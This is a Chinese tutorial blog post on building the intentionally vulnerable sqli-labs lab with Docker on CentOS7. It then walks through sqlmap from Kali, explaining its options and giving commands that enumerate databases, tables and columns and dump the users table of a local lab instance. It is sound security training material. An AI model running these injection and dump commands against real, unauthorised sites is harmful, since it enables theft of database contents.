在CentOS7中搭建sqli-labs环境以及使用sqlmap对其进行sql注入

本文介绍了如何在CentOS7上安装Docker并拉取sqli-labs镜像,详细阐述了启动和管理容器的步骤。接着,讲解了sqlmap的常用参数及其在Kali Linux中进行SQL注入测试的实践,包括获取数据库信息、数据表和数据内容等操作。这是一个针对网络安全和SQL注入测试的实战指南。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

安装docker

使用docker拉取sqli-labs的镜像

对我们使用到的sqlmap的参数解释

使用Kali中自带的sqlmap进行sql注入


安装docker

  1. 因为我们是使用docker去搭建sqli-labs,所以在CentOS7中搭建sqli-labs环境之前需要先安装docker(如果安装过,可以直接去执行安装完docker的后续步骤)
  2. 安装需要的软件包, yum-util 提供yum-config-manager实用程序,另外两个是devicemapper驱动依赖的,需要执行命令:yum install -y yum-utils device-mapper-persistent-data lvm2
  3. 通过yum-config-manager实用程序设置存储库,需要执行命令:yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
  4. 可以查看仓库中所有docker版本,需要执行命令:yum list docker-ce --showduplicates | sort -r
  5. 安装docker,执行命令:yum install docker-ce(中途遇到的选择都选Y)
  6. 如果安装失败,有可能是以前安装过,可以先卸载旧版本,在安装,卸载旧版本执行命令:yum remove docker docker-common docker-selinux docker-engine
  7. 启动docker,使用命令:systemctl start docker
  8. 验证是否安装成功(有client和service两部分表示docker安装启动都成功了),使用命令:docker version

使用docker拉取sqli-labs的镜像

  1. 在启动完docker后,使用docker拉取sqli-labs的镜像,执行命令:docker pull acgpiano/sqli-labs
  2. 使用docker images命令可以查看拉取到本地的镜像
  3. 用镜像运行创建一个容器,执行命令:docker run -d -P  acgpiano/sqli-labs
  4. 查看创建的容器的id和映射的端口,执行命令:docker ps -a
  5. 如果我们想要停止并删除创建的容器,可以执行以下命令
    1. 停止容器运行:docker stop 上图中的容器的ID
    2. 删除容器:docker rm 上图中的容器的ID
  6. 如果我们在停止容器后想要让这个容器再次运行的话,需要执行命令:docker start 容器的ID
  7. 确保我们的容器运行后,使用ip+上面的端口49154去访问,访问后需要先点击Setup/reset Database for labs选项,点击后会跳转到一个页面中,我们不需要管,直接返回当前这个页面中就可以使用了

对我们使用到的sqlmap的参数解释

  1. -u:指定目标URL,sql注入点
  2. --cookie:当前会话的cookie值(这个cookie的选项是在需要登录的测试环境中使用的选项,我们当前这个环境不需要登录,所以不需要使用cookie选项)
  3. --dbs:列举出所有的数据库
  4. --current-db:获取当前使用的数据库
  5. --current-user:获取当前登录数据库使用的用户
  6. -D:要枚举的数据库,也就是要指定我们操作的是哪个数据库
  7. --tables:枚举数据库中的所有数据表,也就是获取到数据库中的所有表的名字
  8. -T:要枚举的数据库表,也就是要指定我们操作的是哪个数据表
  9. --columns:枚举数据库表中的所有列,也就是获取到数据表中所有的列名(字段名)
  10. -C:要枚举的数据表中的列,也就是要指定我们操作的是数据表中的哪一列
  11. --dump:转储数据表项,也就是获取到数据表中的内容,配合-C参数就是获取一列的内容,配和-T参数就是获取整个表中的所有内容

使用Kali中自带的sqlmap进行sql注入

  1. 注意:在使用sqlmap进行sql注入的时候,最好去了解一下MySQL数据库,不然有可能会看不懂下面的一些文字描述
  2. 点击完Setup/reset Database for labs选项后,在点击SQLi-LABS Page-1..选项
  3. 然后,在跳转的页面中点击第一个去做sqlmap的测试
  4. 在选择第一个后,在url中输入?id=1测试出注入点,在测试出注入点后,需要将整个url保存下来,因为sqlmap的-u参数要用到,包括?id=1
  5. 然后在kali中使用sqlmap进行注入,使用命令获取所有的数据库:sqlmap -u http://192.168.28.148:49156/Less-1/?id=1 --dbs

  6. 使用命令获取到当前正在使用的数据库:sqlmap -u http://192.168.28.148:49156/Less-1/?id=1 --current-db

  7. 使用命令获取到这个security数据库下面的所有的数据表:sqlmap -u http://192.168.28.148:49156/Less-1?id=1 -D security --tables


  8. 使用命令获取到users表中的所有字段:sqlmap -u http://192.168.28.148:49156/Less-1/?id=1 -D security -T users --columns

  9. 使用命令获取到users表中username字段的内容:sqlmap -u http://192.168.28.148:49156/Less-1/?id=1 -D security -T users -C username --dump

  10. 如果想要获取到users表中所有的数据,执行命令:sqlmap -u http://192.168.28.148:49156/Less-1/?id=1 -D security -T users --dump

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

所愿ღ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值